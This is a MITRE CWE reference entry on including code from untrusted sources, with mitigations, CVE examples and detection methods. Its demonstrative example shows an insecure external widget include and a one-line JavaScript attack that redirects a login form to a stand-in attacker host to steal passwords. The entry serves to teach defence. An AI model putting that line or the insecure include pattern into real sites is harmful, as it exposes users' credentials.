CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID: 829
Vulnerability Mapping: ALLOWED
Abstraction: Base

View customized information: Conceptual | Operational | Mapping Friendly | Complete | Custom

Description

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.
This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	**Technical Impact:** *Execute Unauthorized Code or Commands* An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.	

Potential Mitigations

Phase: Architecture and Design
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Architecture and Design; Operation
Strategy: Sandbox or Jail
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.
Effectiveness: Limited
Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation
Strategy: Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Effectiveness: High

Phases: Architecture and Design; Operation
Strategy: Attack Surface Reduction
Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phases: Architecture and Design; Implementation
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.
Effectiveness: Moderate
Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	B	669	Incorrect Resource Transfer Between Spheres
ParentOf	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
ParentOf	B	827	Improper Control of Document Type Definition
ParentOf	B	830	Inclusion of Web Functionality from an Untrusted Source

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	C	1214	Data Integrity Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Demonstrative Examples

Example 1
This login webpage includes a weather widget from an external website:

Example Language: **HTML** *(bad code)*
```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id ="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).
For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: **JavaScript** *(attack code)*
```
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion.
CVE-2005-1864	PHP file inclusion.
CVE-2005-1869	PHP file inclusion.
CVE-2005-1870	PHP file inclusion.
CVE-2005-2154	PHP local file inclusion.
CVE-2002-1704	PHP remote file include.
CVE-2002-1707	PHP remote file include.
CVE-2005-1964	PHP remote file include.
CVE-2005-1681	PHP remote file include.
CVE-2005-2086	PHP remote file include.
CVE-2004-0127	Directory traversal vulnerability in PHP include statement.
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.

Detection Methods

Automated Static Analysis - Binary or Bytecode
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Forced Path Execution
- Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)

Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:
- Attack Modeling

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components
MemberOf	V	884	CWE Cross-section
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf	C	1364	ICS Communications: Zone Boundary Failures
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED *(this CWE ID could be used to map to real-world vulnerabilities)*

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-175	Code Inclusion
CAPEC-201	Serialized Data External Linking
CAPEC-228	DTD Injection
CAPEC-251	Local Code Inclusion
CAPEC-252	PHP Local File Inclusion
CAPEC-253	Remote Code Inclusion
CAPEC-263	Force Use of Corrupted Files
CAPEC-538	Open-Source Library Manipulation
CAPEC-549	Local Execution of Code
CAPEC-640	Inclusion of Code in Existing Process
CAPEC-660	Root/Jailbreak Detection Evasion via Hooking
CAPEC-695	Repo Jacking
CAPEC-698	Install Malicious Extension

References

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. *URL validated: 2023-04-07.*

Content History

Submissions

Submission Date	Submitter	Organization
2010-11-29	CWE Content Team	MITRE
(CWE 1.11, 2010-12-13)		

Modifications

Page Last Updated: July 16, 2024